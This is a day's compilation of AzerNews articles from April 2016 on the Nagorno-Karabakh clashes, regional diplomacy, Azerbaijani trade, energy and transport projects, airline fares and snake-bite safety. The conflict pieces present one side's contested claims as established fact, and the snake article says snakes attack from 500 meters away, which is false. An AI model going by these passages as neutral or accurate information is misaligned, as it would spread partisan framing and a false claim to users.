This morning, Armenian Zil-131 truck was blown up by an Armenian mine in the northern sector of the contact line, the ministry reported. As a result of explosion one soldier was killed, while some were wounded.

This is not the first time when Armenia resorts to different kinds of falsification.

On April 21, Azerbaijans Defense Ministry disproved information about the tank that was allegedly destroyed by the Armenian military units.

Baku remains committed to the truce since the agreement on ceasefire was reached between the parties to the conflict, said Vagif Dargahli, the spokesperson for the ministry. Therefore, Azerbaijans military units did not bring its tanks or other military equipment on the contact line of troops, he added.

Dargahli believes that Armenians, who initiated hostilities in the front-line area, misrepresent the real facts and claim their own destroyed tanks as the Azerbaijani ones.

Since the eruption of new hostilities on the frontline following the Armenian provocation, the enemy has been spreading false photos and videos on alleged losses of the Azerbaijani side.

Earlier, the Defense Ministry announced that Armenians used the photos taken in the conflict zone in Ukraines Donbas as the evidence of the mass murder of the Azerbaijani Special Forces.

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Nazrin Gadimova is AzerNews staff journalist, follow her on Twitter: @NazrinGadimova

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22 April 2016 09:55 (UTC+04:00)

A new print edition of the AZERNEWS online newspaper was released on April 22.

The new edition includes articles about impacts of Doha failure on Azerbaijan, parachuting gains new momentum in Azerbaijan, miracle oil for all diseases -- Naftalan, PACE adopts resolution on peaceful settlement of Nagorno-Karabakh conflict, etc.

AZERNEWS is an associate member of the World Association of Newspapers and News Publishers (WAN-IFRA).

The online newspaper is available at www.azernews.az.
22 April 2016 10:57 (UTC+04:00)

Culture ministers of a number of countries will arrive in Baku to attend the 7th Global Forum of the UN Alliance of Civilizations (UNAOC).



In particular, Turkish Minister of Culture and Tourism Mahir Unal, Georgian Minister of Culture and Monument Protection Mikheil Giorgadze, Kyrgyz Minister of Culture, Information and Tourism Altynbek Maksutov and Tajik Minister of Culture Shamsiddin Orumbekov will take part in the 7th Global Forum of the UNAOC, to be held in Baku on April 25-27, Azerbaijan's Ministry of Culture and Tourism reported.

Also, the Indonesian Embassy in Baku told Trend on April 21 that the country's Deputy Foreign Minister Abdurrahman Mohammad Fachir will also visit Azerbaijan.

Fachir, who will lead a delegation of more than 20 people, will take part in the 7th Global Forum of the UN Alliance of Civilizations (UNAOC).

It is planned to hold a meeting with participation of high-ranking officials and about 30 sessions during the Forum.

The Baku Declaration is expected to be adopted during the high-level meeting of the UNAOC Global Forum.

Azerbaijan's President Ilham Aliyev signed a decree on July 24, 2015 to create an organizing committee for holding the 7th UNAOC Global Forum in Baku.

The forum's opening ceremony will take place at the Baku Congress Center.

Azerbaijan's President Ilham Aliyev signed a decree on July 24, 2015 to create an organizing committee for holding the 7th UNAOC Global Forum in Baku.

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22 April 2016 12:45 (UTC+04:00)

By Nazrin Gadimova

The U.S. continues to support the UN process in resolving ArmeniaAzerbaijan Nagorno-Karabakh conflict and still believes that is the best way forward.

John Kirby, the spokesperson for the U.S. State Department, made the remark as part of a briefing held on April 21.

Our [OSCE] Minsk group co-chair, Ambassador [James] Warlick, visited the region with his Russian and French counterparts, making it clear that we want to see a return to negotiations and settlement immediately, Kirby said, commenting on the recent developments on the contact line of troops between the Armenian and Azerbaijani armies.

The U.S. remains firmly committed, again, through the UN, to working with the sides to reach a lasting peace, the spokesperson concluded.

NATO excepts military solution of the long-lasting conflict

Nagorno-Karabakh conflict urgently requires de-escalation and diplomatic progress under the auspices of the OSCE Minsk Group co-chair.

Alexander Vershbow, NATO Deputy Secretary General, wrote in his Twitter account on April 21.

Earlier, Azerbaijan has informed William Lahue, the head of the NATO Liaison Office to South Caucasus, about massive damages caused to the residents of the Azerbaijani villages adjacent to the front-line area. Lahue has also been presented material reflecting the reality of recent incidents and the facts proving Armenian disinformation.

Armenia, which launched military campaign against Azerbaijan on April 2, has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

As a result of the ensuing war emerged on the background of the Soviet breakup in early 1990s, the Armenian military units occupied 20 percent of Azerbaijans internationally recognized territories. The 1994 ceasefire agreement was followed by peace negotiations and signing of another agreement on truce in 1995.

Moscow sees 1994 and 1995 agreements as basis for settlement of the crisis

Russia, the main negotiator to the conflict and the co-chairing country of the OSCE MG, considers two ceasefire agreements signed between Azerbaijan and Armenia in 1994 and 1995 as the foundation of cessation of hostilities.

In the context of the development of the situation around Nagorno-Karabakh, the Russian side firmly believes that the ceasefire agreement reached in 1994, as well as the agreement on strengthening the ceasefire adopted in 1995 have no time limitations and still form the basis of the armistice in the conflict zone, the Russian Foreign Ministry said on April 21.

Currently, Russian Foreign Minister Sergey Lavrov is on visit to Yerevan to discuss tense situation in Nagorno-Karabakh. Russia as an international mediator is ready to render all possible assistance to the parties of the Armenia-Azerbaijan conflict, the foreign ministry stressed.

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Nazrin Gadimova is AzerNews staff journalist, follow her on Twitter: @NazrinGadimova

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22 April 2016 13:15 (UTC+04:00)

Russia's Foreign Minister Sergey Lavrov is holding negotiations with Armenia's Foreign Minister Eduard Nalbandyan in Yerevan, RIA Novosti agency reported on April 22.

The meeting is being held in a narrow format, later the delegations will also join, said the agency.

Lavrov is expected to meet with Armenia's President Serzh Sargsyan as well.

One of the main themes of the Russian foreign minister's visit to Armenia is the Armenia-Azerbaijan Nagorno-Karabakh conflict's settlement.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers.

The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan.

As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations.

Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

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22 April 2016 13:45 (UTC+04:00)

Azerbaijan's permanent representative to the UN Office and other international organizations in Geneva, Ambassador Vagif Sadigov has met with President of the International Committee of the Red Cross Peter Maurer.

The meeting was held to discuss the current state of and prospects for developing cooperation between Azerbaijan and the Committee, Azertac reports.

The sides expressed their confidence for further successful cooperation.

Sadigov stressed that the humanitarian work, which ICRC carried out all over the world, as well as in Azerbaijan is of pivotal importance.

The Ambassador also praised the activities of the Azerbaijan Representation of the organization in this regard.

He praised the mediation of the ICRC over the handing over the corpses of those killed during the recent military clashes to both sides, expressing his gratitude for this.

Saying he highly appreciates the current cooperation between Azerbaijan and ICRC, Maurer underlined the organization's interest in the situation of persons who are in captivity in Armenia on a regular basis and efforts it made to improve the condition of their detention.

He also expressed his hope for political solution of the Armenia-Azerbaijan, Nagorno-Karabakh conflict.

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22 April 2016 14:05 (UTC+04:00)

By Amina Nazarli



Caspian states are close to the solution of the legal status of the sea, which is a cause of dispute for five littoral states such as Azerbaijan, Russia, Kazakhstan, Turkmenistan and Iran for over 20 years.

Ali Larijani, the Speaker of the Iranian Parliament made this statement in an exclusive interview with the Deputy Director General of TASS Mikhail Gusman.

He said that the countries are moving slowly on this issue, therefore the negotiations have been underway for years.

There are differences on the subsoil, and these differences must be solved through negotiations. Each of the Caspian states have different components and points of view on the issue. There are also environmental issues and various aspects of the problem, which should be addressed, Iranian speaker explained, adding that the countries are approaching to the solution of the status.



Larijani pointed that other countries have also agreed on the need for legal status of the Caspian Sea, as the lack of legal norms damages the issue.

Now its necessary to make an effort, because it is a new experience, and issues on energy, mineral resources, environmental protection and military aspects occur while discussing. And if this experience is successful, it can become a model for addressing other matters, he noted.

The Caspian region, which is recognized as one of the fastest growing geopolitical and economic centers of Eurasia, today plays a significant part in major transportation projects connecting Europe with Asia.

The uncertainty of the legal status of the Caspian Sea is one of the most discussed topics in between the five coastal states.

Kazakhstan, Azerbaijan and Russia signed an agreement on the delimitation of their respective Caspian maritime borders in 2003.

Significant progress has been achieved in drafting a convention on the legal status of the Caspian Sea in September 2014.

Baku supports defining the Caspian Sea's legal status based on the sovereign rights of the littoral states, a mutually beneficial partnership, and peaceful negotiations.

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Amina Nazarli is AzerNews staff journalist, follow her on Twitter: @amina_nazarli



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22 April 2016 16:49 (UTC+04:00)

By Nazrin Gadimova

Russia, being a member of the OSCE Minsk Group, will provide all possible assistance to the parties of the Nagorno-Karabakh conflict.

Sergey Lavrov, Russian Foreign Minister, made the remark following the meeting with his Armenian counterpart Edward Nalbandian in Yerevan on April 22.

The developments in the Nagorno-Karabakh region showed that it is necessary to resolve this conflict by diplomatic means, the foreign minister believes. As for the political settlement, we are ready to do everything possible, he stressed, adding that everything possible should be done to avoid violence and incidents.

To defuse tension it is necessary to finalize the agreements under the auspices of the OSCE concerning the confidence-building measures, the foreign minister added.

Moscow stands for the strict observance of agreements on permanent ceasefire from 1994 and 1995 on the settlement of the Nagorno-Karabakh conflict, Lavrov said. "We, personally Russias President Vladimir Putin, have made efforts to stop the outbreak of violence."

Armenia did not reject the Kazan agreement, which were signed by the parties to the conflict and envisages return of the Azerbaijani territories around Nagorno-Karabakh captured by Armenians during the 1992-1994 war, Lavrov emphasized.

Lavrov further stressed the importance of the so-called roadmap on the long-lasting conflict prepared by the OSCE in 2011, as well as the role of Germany in the settlement process.

Lavrovs visit to the Armenian capital city comes amid mass protests by the residents of the city. The protesters are marching in front of the countrys Foreign Ministry and the Russian embassy voicing their disrespect to Russia.

Armenia staged provocations on the contact line of troops on April 2, thus making the Azerbaijani side to retaliate the mass attacks targeting not only military positions, but also civilians. The large-scale hostilities have provoked an immediate response from the international community, which urged the parties to strictly observe ceasefire.

With the mediation of the Russian side, Azerbaijan and Armenia have agreed to cease operations on the line of contact starting from 12.00, April 5, however, Armenia continued to breach the fragile truce.

The recent visit of Armenian President Serzh Sargsyan to the occupied Nagorno-Karabakh region has engendered discontent of Baku, which accused Yerevan in another provocative step that exacerbates an already difficult situation.

At the same time, after this visit, the Armenian Zhokhovurd newspaper spread the information about Sargsyans plans regarding the future of the Azerbaijans occupied lands. Thus, some Armenian experts believe that the president will address the Armenian people on the return of the occupied territories, according to the newspaper.

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Nazrin Gadimova is AzerNews staff journalist, follow her on Twitter: @NazrinGadimova

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22 April 2016 16:38 (UTC+04:00)

President of the Republic of Azerbaijan Ilham Aliyev attended a ceremony to launch "Ufuq", "Zafar" and "Turan" passenger ships built by Caspian Shipping Company on April 22, Azertac reports.

President of the State Oil Company of the Republic of Azerbaijan Rovnag Abdullayev and Chairman of the Caspian Shipping Company Rauf Valiyev informed the head of state about the ships constructed by the factory.

The head of state cut the ribbon symbolizing the commissioning of the ships.

Each vessel can handle up to 80 passengers. The ships measure 38m in length and 8m in width.

President Aliyev pressed the button to put "Ufuq" into operation.

Currently Khankendi, a state-of-the-art subsea construction vessel (SCV), is being built for stage two of the development of Shah Deniz, the largest natural gas field in Azerbaijan. The two sections weigh a total of 10,800 tons. The sections are 140 metres long, 16 metres wide and 17 metres high. Together they make up the hull for the SCV Khankendi.

The vessel will be fitted with dynamic positioning to allow for work in 2.5 m significant wave height (Hs); a 750-metric ton (827-ton) main crane for subsea operations in 600 m water depth; an 18-man two-bell diving system; two Work Class ROVs; a strengthened moonpool; and two engine rooms with 6 x 4.4 MW + 2 x 3.2 MW engines. It will have deadweight of 5,000 metric tons (5,511 tons) at 6.5 m draft.

The president viewed the vessels, and wished the staff good luck.

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22 April 2016 17:18 (UTC+04:00)

By Nazrin Gadimova

PACE co-rapporteurs for the monitoring of Armenia and Azerbaijan are seriously concerned over the recent situation around the Nagorno-Karabakh conflict.

Stefan Schennach, a co-rapporteur at the PACE, believes that it is necessary to make every effort to maintain the ceasefire so that to prevent casualties on the line of contact.

On April 19, PACE passed a resolution on the peaceful settlement of the long-lasting conflict. Forty-four members of the Parliamentary Assembly undersigned the document.

"The PACE reiterates its continuous support to the efforts of the OSCE Minsk Group Co-Chairs to reach a lasting and just settlement to this conflict," the document said.

Thus, the members of the Parliamentary Assembly urged all sides to undertake decisive steps and show the necessary political will to reach a negotiated settlement based on proposals of France, the U.S. and Russia. Moreover, MPs believe that the creation of a mechanism to investigate ceasefire violations together with other proposals of the OSCE MG will contribute to the reduction of tensions and the creation of a more favorable atmosphere for advancing peace talks.

Matthew Bryza, former U.S. assistant secretary for South Caucasus and former U.S. ambassador to Azerbaijan, believes it is important that PACE has focused international attention on the Armenia-Azerbaijan conflict.

However, the document that contains a call for avoiding violence is quite limited, Bryza told Vestnik Kavkaza.

It would be better if the PACE calls on the leaders of the OSCE Minsk Group to interact personally with each other and with the parties to the conflict to fulfill the Madrid principles, he stressed.

"Without such actions at the highest level, the conflict will continue endlessly, and there will be a risk of even more serious collision than those occurred in early April, Bryza concluded.

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Nazrin Gadimova is AzerNews staff journalist, follow her on Twitter: @NazrinGadimova

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22 April 2016 19:00 (UTC+04:00)

By Amina Nazarli

Spring, a season for outdoor activities, sometimes is a time when some animals and insects become more active.

When outside temperatures increase in the spring, snakes become more active in search of food. They also bask in sunny areas and move to find mates or give birth.

April and May in Azerbaijan are usually dangerous months which makes it a whole lot more likely you will encounter a snake.

During this period snakes are prone to attack a person, even at a distance of 500 meters.

Since the beginning of spring, Azerbaijan has reported two cases of snake bite.

Chief toxicologist of the Health Ministry Azer Magsudov said that many appeals have been made to the hospital because of snake bites with coming the warm weather.

Recently, we have hospitalized a 27-year-old woman bitten by snake. Her condition is assessed as moderate. The second patient has been in hospital for 12 days. His health condition is serious. He miraculously survived after the dangerous encounter. The snake bit him in the leg. The patient suffer from intoxication. Currently, he is on the mend, despite the fact that the first 4-5 days were very critical, he said.

Azerbaijan is the country inhabited by 23 species of snakes. Some four of venomous and the others are non venomous. Another type of venomous snake -- horned viper, has been found only once in Azerbaijans Ganja region in 1845. But after that no one saw them across the country.

The Transcaucasian viper, steppe viper, copperhead snake, and Asia Minor viper [which is listed in the Red Book of rare Azerbaijani animals and insects], are among the most poisonous snakes that are found in the country.

Remember never try to cut or squeeze the bite, or suck the poison out with your mouth.

The snake venom left on skin or clothes is not dangerous. It is dangerous when the poison gets into the blood.

Be careful while exploring and enjoying the nature! Stay away from fallen trees and areas of high grass. Carefully examine rocks before sitting on them.



Know how to distinguish poisonous snakes from non-toxic ones. Dangerous snakes usually tend to be shiny and colorful.

Severe venomous snake bites can cause serious symptoms, such as muscle paralysis and anaphylaxis, rapid heartbeat and may be fatal.

Every one must have certain skills in the event of a snake bite. So, first of all it is necessary to tie up the wound with a sterile bandage. Otherwise injury can quickly become infected.

In case of bite, one should obligatory visit the nearest emergency department, according to Magsudov, where serum is introduced for free.

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Amina Nazarli is AzerNews staff journalist, follow her on Twitter: @amina_nazarli



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22 April 2016 21:41 (UTC+04:00)

By Nazrin Gadimova

Iran supports the territorial integrity and sovereignty of Azerbaijan.

Mahmoud Vaezi, Irans Communications and Information Technology Minister, made the remark as part of a meeting with Azerbaijans Foreign Minister Elmar Mammadyarov.

Commenting on the recent developments on the contact line of troops of Armenian and Azerbaijani troops, Vaezi said Iran is interested in ensuring peace and security in the region.

The minister noted the importance of expanding cooperation in fighting against terrorism, radicalism and regional threats.

Mammadyarov, in turn, praised Iran's fair and consistent stance on the Armenia-Azerbaijan Nagorno-Karabakh conflict, noting that Armenia must withdraw its armed forces from Azerbaijans occupied territories in accordance with the UN Security Councils resolutions.

Earlier, Ali Larijani, the Speaker of the Iranian Parliament, said Karabakh conflict is one of the main regional issues under the focus of Tehran. He further added that Iran and Russia must use every efforts and opportunities to convince Azerbaijan and Armenia to settle the conflict politically.

Iran, Azerbaijans southern neighbor and one of the main actors in the region, has repeatedly declared its readiness to help in resolving the long-lasting conflict that emerged as a result of Armenias aggressive policy towards Azerbaijan in early 1990s.

Armenia captured 20 percent of Azerbaijans internationally recognized territories as a result of 1992-94 war. The 1994 ceasefire agreement was followed by peace negotiations and signing of another agreement on truce in 1995. However, Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

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Nazrin Gadimova is AzerNews staff journalist, follow her on Twitter: @NazrinGadimova

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22 April 2016 10:43 (UTC+04:00)

Meals on AZALJET flights will differ slightly from the same menu of AZALs classic flights. AZALJET passengers will be offered a hot meal (with a choice of chicken or meat meal), bread, juice, water, tea or coffee. If it is a morning flight, passengers will be offered breakfast.

In addition, as before passengers will have an opportunity to buy another type of improved hot menu while booking a ticket at sale offices, as well as choose various types cold snacks and drinks on board.

Also, from May 9 allowable weight of hand baggage will be increased from 8 to 10 kg inclusive on all AZAL and AZALJET flights. Size of a hand baggage must not exceed 55x35x20 cm.

"The decision to provide free meals on AZALJET flights, as well as increasing the allowable weight of a hand baggage on all flights of the Airline was made in order to provide even more convenience for passengers and increase the competitiveness of our air transportation in this segment. As a rule, the other low-cost airlines provide meals on board only for an additional cost. We want to give our passengers the most comfortable conditions during the flight and will continue to work in this direction," CJSC AZAL vice-president Eldar Hajiyev said.

At present, flights to the most popular destinations are operated under the AZALJET brand. These destinations include Moscow, Istanbul, Tbilisi, St. Petersburg, Minsk, Kiev, Lviv, Tehran, Aktau, Kazan, Mineralnye Vody, Ankara, and the Turkish Antalya, Izmir, Bodrum and Dalaman resorts.

Airfare of AZALJET flights starts from 49 euro for one way while departing from/to Baku on any of the above-mentioned destinations, and round-trip from 98 euro. This price includes all taxes and fees.

It should be noted that the number of seats on airplane at this fare is limited.

Terms of AZALJET tariffs allow carrying only a hand baggage, weight allowance of which is increased to 10 kg, as mentioned above.

Pre-payment of baggage fee (up to 23 kg) no less than 3 hours before the flight departure costs 20 euro. Paying baggage fee after this time is 5 euro more expensive.

We also note that from May 9 flights to Dubai will be operated under AZAL brand, and will include a full range of food and free baggage allowance.

Tickets can be booked on the website of the company www.azal.az and purchased at AZAL sales offices and official agencies.

To purchase tickets and for more information, please contact:

Phone: (+99412) 598-88-80

*8880

e-mail: [email protected]

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22 April 2016 12:36 (UTC+04:00)

By Fatma Babayeva

Azerbaijan expects to have a profuse grain harvest in 2016 due to heavy rainfall this year.

Elbrus Alizadeh, deputy director of the Geography Institute under the National Academy of Sciences to the Trend news agency that a decrease will be inevitable, however, in the crops of some fruits.

Rain that fell during April caused damage to the yield from early-blossoming fruit trees such as cherry plums, peaches, sweet cherries and other cherry trees. Therefore, harvest of these fruit trees will be slightly lower during this year but overall, a rich harvest is expected for the whole year, the deputy director said.

In general, the amount of precipitation in the country was above the norm in the first quarter of this year, in particular in January, said Asif Verdiyev, senior hydrologist of the Hydro-meteorological Forecasts Office at the National Hydrometeorology Department.

Now the weather forecasters predicts drought in the territory of Azerbaijan in the period from July 5 to August 20.

This unfavorable weather condition is forecast to occur in the Kur-Araz lowland, namely in Saatli, Sabirabad, Salyan, Bilasuvar, Kurdamir, Imishli, Neftchala regions, Gobustan and Absheron peninsulas.

The drought is unpleasant for fruit crops, Farmer Hasan Hasanov told Trend. "It mainly affects on the yield of fruits ripening in autumn," he emphasized.

Overall, Azerbaijan is keen on developing grain production in the country in order to be fully self-sufficient on this product.

About 3 million tons of grain was produced in Azerbaijan during the last year. Approximately, 1.7 million tons of these products were wheat.

Azerbaijan cannot meet internal demand for grain products by 100 percent. The country imports grain from both Russia and Kazakhstan, but Russia is the main supplier.

A project on creating large grain-growing farms in Azerbaijan is underway, and several similar farms have already been created.

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22 April 2016 13:30 (UTC+04:00)

By Aynur Karimova

The project of North-South international transport corridor is of strategic importance for our region, Iran's Parliamentary Speaker Ali Larijani believes.

He said in his recent interview with Russian media on April 21 that this corridor can be profitable for all countries, including Russia, "which can get an access to the waters of the Persian and Oman Gulfs via this corridor."

"This route can help Russia with cargo transportation," he noted, adding that all countries located on this route will be able to benefit it.

"Therefore, it will be beneficial for Iran as well - we will be connected with Russia, with the countries that are located along this corridor, with Europe and China. Having an access to the Gulf of Oman will also be helpful for other countries. This is a strategic project for our region," Larijani stated.

The North-South corridor, from India to Helsinki, with a length of 5,000 kilometers is designed to carry more than 20 million tons per year. It is a multimodal route for transportation of passengers and cargo from Russia's St. Petersburg to the Mumbai port. It is designed to carry transit cargo from India, Iran and other Persian Gulf countries to the territory of Russia (the Caspian Sea) and further - to Northern and Western Europe.

The North-South route enjoys several advantages compared to other transport corridors; it is more profitable for each parameter than other alternative routes, such as the Suez Canal-the Mediterranean Sea-Northern Europe and the Turkmenistan-Kazakhstan-Russia-Northern Europe routes.

The preliminary estimates show that at an initial stage, it is planned to transport 6 million tons of cargo via the North-South corridor a year, and 15 to 20 million tons of cargo in the future.

Larijani went on to add that in all regional negotiations with Central and Middle Asia countries, Azerbaijan, and Russia, a special attention is paid to this important issue.

Economists say that cargoes, which come from China, can be directed to Northern Europe, and the goods from Western Europe - to Iran, that is, the North-South and East-West corridors actually combine.

In this case, Azerbaijan, with its favorable strategic and geographic location on the intersection major transport projects linking north with south and east with west, will become a hub, a logistics center of transit cargo transportation.

Sergei Stolyarov, the Head of International Cooperation Department of Russian railways JSC also considers Azerbaijan as an active initiator and driver of the North-South corridor.

He also stressed the importance of constructiing a railroad bridge over the Astara River on the border of the two countries, which was launched on April 20 with the participation of Azerbaijan's Economy and Industry Minister Shahin Mustafayev and Iran's Minister of Communications and Information Technology Mahmoud Vaezi.

"We hope that laying the foundation stone means that it will become a cornerstone for the active phase of implementation of the project on construction of the Rasht-Astara railway section," Stolyarov added. "This is the main element of the North-South corridor, and we hope that a direct connection between the countries of the Persian Gulf, South Asia and Iran through Azerbaijan to Russia and Europe will be created in the future, and we will be able to get effective transport links in the Eurasian region."

The railroad bridge over the Astara River is a strategically important facility that will connect the railways of Azerbaijan and Iran. The bridge will be constructed until late 2016.

In accordance with an agreement signed by Azerbaijan and Iran, the border bridge will be built jointly.

The length of the railroad bridge will reach 82.5 meters, while its width will amount to 10.6 meters.

The bridge will become an integral part of the Astara (Azerbaijan) - Astara (Iran) railway, which is part of the North-South international transport corridor.

Stolyarov believes that the foundation of the bridge in Astara testifies that Azerbaijan is an active initiator and drive of this project.

"In the future, implementation of the construction of the Rasht-Astara railway line will allow Azerbaijan to receive additional transit cargo base and to become a major participant in the North-South corridor, to attract additional cargoes to its territory and to receive additional income," he added.

The sections of the Qazvin-Rasht and Astara (Iran) - Astara (Azerbaijan) railway are under construction.

The Astara (Iran) - Astara (Azerbaijan) section is planned to be constructed in 2016, while the Qazvin-Rasht section in 2017. The Rasht-Astara railway will be under construction simultaneously.

Commenting on the possibility of establishing a consortium of the North-South corridor, Stolyarov said that the participants of the project have been for a long time a consistent supporter of the tripartite dialogue on the implementation of the project.

"Earlier, agreements on the revitalization of the project were repeatedly reached, various forms of its implementation were discussed, and we are currently discussing the possible forms its joint implementation with our partners in Azerbaijan and in Iran. Therefore, all are possible," he concluded.

--

Aynur Karimova is AzerNews staff journalist, follow her on Twitter @Aynur_Karimova

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22 April 2016 15:13 (UTC+04:00)

By Aynur Karimova

Iran has expressed readiness to cooperate with Azerbaijan to develop fields in the Caspian Sea.

The Islamic Republic's Communications and Information Technology Minister, Mahmoud Vaezi, who addressed a meeting with Azerbaijan's Economy and Industry Minister Shahin Mustafayev on April 21, called on the two countries to expand cooperation in this field, regardless of low oil prices.

He recalled the agreement on continuation of the construction and operation of hydroelectric power plants and hydroelectric complexes Khudaferin and Giz Galasi on the Araz River.

"We should take a similar step in relation to the development of fields in the Caspian Sea," Vaezi noted.

Azerbaijan and Iran, two neighbor countries and strategic partners, have been strengthening ties since the removal of international sanctions against Tehran in January 2016. On February 23, Azerbaijan's state energy giant SOCAR signed two memorandums of understanding with National Iranian Oil Company and Ghadir Investment Company as part of President Ilham Aliyev's Tehran visit.

The recent development of bilateral relations between the two energy-rich neighbor countries promise new opportunities and prospects for economic cooperation between the two countries, in particular in the energy sector.

Iran and Azerbaijan are already conducting negotiations in this direction.

Baku and Tehran are engaged in the implementation of several oil and gas projects. In particular, the Islamic Republic participated in the development of Azerbaijans giant Shah Deniz gas field in the Azerbaijani section of the Caspian Sea.

The two countries carry out gas swap operations: Azerbaijan supplies its fuel to Irans northern provinces while Iran ensures the gas demand of Nakhchivan Autonomous Republic.

Currently, the possibility of transporting Iranian gas through Azerbaijan to Europe via the Southern Gas Corridor is high on the agenda of talks between the two governments.

Azerbaijan and Iran have also inked an agreement on cooperation in the field of energy and use of water resources, continuation of the construction and operation of hydroelectric power plants and hydroelectric complexes Khudaferin and Giz Galasi on the Araz River President Aliyev's visit to Tehran.

The agreement includes principles of respect for sovereignty and territorial integrity of Azerbaijan and Iran, highlights the need to restore the territorial integrity of Azerbaijan in accordance with the UN resolutions, proclaims equal rights for water and energy resources along hydroelectric complexes Khudaferin and Giz Galasi.

Under the document, Iran is committed to ensure completion of construction of hydroelectric complexes and hydroelectric power plants, preservation and operation of water and energy resources at hydroelectric complexes and hydroelectric power plants until the territorial integrity of Azerbaijan is restored.

The agreement says that the sides will use these facilities on equal terms. Azerbaijani specialists will be involved in construction and operation of the facilities in accordance with the agreement.

--

Aynur Karimova is AzerNews staff journalist, follow her on Twitter @Aynur_Karimova

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22 April 2016 17:00 (UTC+04:00)

By Aynur Karimova

Azerbaijan and Iran have finalized the long-awaited agreement on cooperation of the two countries in the medicine industry.

Kambiz Amjadi, the Head of the Iranian Darou Pakhsh Holding Company, told Trend on April 21 that the company has finalized a deal with the Azerbaijan Investment Company.

The Memorandum of Understanding, signed with the Sumgayit Industrial Park, the Azerbaijan Investment Company and Azersun Holding, envisions establishment of a pharmaceutical joint venture in Sumgayit city.

Amjadi said 49 percent of the shares in the pharmaceutical company belong to Iran, and 51 percent belong to Azerbaijan.

He said the 51 percent stake held by Azerbaijan will belong to the Azerbaijan Investment Company ( 25 percent) and Azersun Holding (26 percent).

Speaking about the details of the agreement, Amjadi said more than $30 million will be invested in the medicine production project, adding that the project is aimed at producing more than 90 types of medicines in Azerbaijan.

He predicted that the factory will be launched within the next two years, and it will be engaged in the production of dozens of essential drugs for treatment of heart diseases, contagious diseases, non-communicable diseases, as well as various types of antibiotics and painkillers.

Darou Pakhsh is the largest pharmaceutical company in Iran and the region with annual turnover of about $400 million.

Being a part of the DarouPakhsh Holding, the company belongs to the Organization of Social Protection of the Islamic Republic.

Azerbaijan sees the pharmaceutical manufacturing as one of major directions to diversify the non-oil sector of the economy. Taking into account the profitability of pharmaceutical sector, the government is keen to cooperate with foreign companies in this direction.

Iran with its modern pharmaceutical system has 100-year experience in this sector. The Islamic Republic experienced a sharp growth last year, rising to $1.2 billion.

In February, Azerbaijan and Iran signed a Memorandum of Understanding to establish a pharmaceutical factory in Sumgayit. The MoU was agreed during President Ilham Aliyevs Tehran visit.

The project of construction of the plant will be realized in three stages. In the first stage, necessary medicines will be imported to Azerbaijan from Iran, while in the second stage, Iran will provide Azerbaijan with the technology necessary for the production of drugs. As part of the third stage, production of medicines will begin.

Azerbaijan has also invited other Iranian companies to cooperation in the pharmaceutical manufacturing.

--

Aynur Karimova is AzerNews staff journalist, follow her on Twitter @Aynur_Karimova

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22 April 2016 16:47 (UTC+04:00)

By Fatma Babayeva

Azerbaijan, natural resource rich country, is increasing the share of the renewable sources in its electricity production. The country will cooperate with U.S. counterparts in further developing its RES potential.

Azerbaijan plans to reduce its gas consumption by building wind power plants in the Caspian Sea.

The construction of such a wind farm on the platforms of the Caspian Sea will save about 200,000 cubic meters of gas per year in Azerbaijan, Akim Badalov, the head of the State Agency on Alternative and Renewable Energy Sources told media on April 22.

Like the Oil Rocks, this project will be the first of its kind worldwide, Badalov stressed.

The wind power plant earlier planned to be build on the water without using the platform. However, in this case, the project cost would exceed 1 billion manat ($667 million). Its construction on the platforms will save about 500-550 million manat ($333-367 million). Thus, this is how the project became interesting for several Chinese companies, the head of SAARES said.

The wind power plant with 200 megawatts will be constructed on the platforms between Pirallahi and Chilov islands in the Caspian Sea.

Badalov also emphasized the importance of attracting leading U.S. companies like General Electric and others which can help to issues related to high technologies and organizational management.

In addition, the bridge will be built between those two islands. Development of the eco-tourism in this area is also being considered within the framework of the project.

Additional amount of generated wind energy will be used for the desalination of the water in Pirallahi region, which will provide the area with fresh water, he added.

SAARES will sign an agreement with the U.S. agency for international development (USAID), Badalov said during the conference on Energy, Renewable and Sustainability took place in Baku on April 22.

The head of the state agency added that the negotiations continue and the agreement will be signed soon.

The U.S. has played a significant role in the development of the oil sector in Azerbaijan. The U.S experience will help Azerbaijan in the field of alternative energy as well, Badalov noted.

During the conference, Tom Weirich, senior vice president of the American Council on Renewable Energy ACORE told local media on April 22 that the U.S. is ready to support Azerbaijan in developing its alternative energy.

Weirich stressed that the long-term cooperation in this field will be beneficial for both the U.S. and Azerbaijan.

At the moment, the capacity of the power system in Azerbaijan amounts roughly to 7,200 megawatts.

Moreover, the total potential of alternative and renewable energy sources exceeds 12,000 megawatts in Azerbaijan. Most of it accounts for solar energy which estimated potential is 5,000 megawatts.

The potential capacity of the wind power is estimated at 4,500 megawatt, biomass at 1,500 megawatts, geothermal energy at 800 megawatts, while the remaining 350 megawatts accounts for the potential small hydro power plants.

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22 April 2016 17:45 (UTC+04:00)

By Fatma Babayeva

The new Center for Analysis of Economic Reforms and Communications was established in Azerbaijan in order to broaden the coverage of economic reforms and manage effective coordination of the works in this area on April 20.

The way that the newly-created Center for Analysis of Economic Reforms and Communications functions should differ from the similar agencies in Azerbaijan as there are many state and non-governmental organizations doing the same work in the country, economist Nijat Hadgizadeh told milli.az news portal on April 22.

This public organization should not be an equivalent to the Analytic Group operating under the Ministry of Economy or the Economy Department of the Center for Strategic Studies under the President, Hajizadeh emphasized.

The Azerbaijani economy has experienced stagnation since the end of 2014 when oil prices went down. The state budget has direct and indirect dependence on oil revenues, the expert added.

According to the statistics on the 2015 state budget, oil revenues comprised 41.8 percent of the budget while taxes from oil sector stood at 29.5 percent which means oil dependence amounted to 71.3 percent, he said.

Hajizadeh further explained that diversification of the economy develops poorly in times of heavy dependence on oil revenues. However, the country's dependence on the oil revenues has decreased over last years which can be evaluated as a positive move.

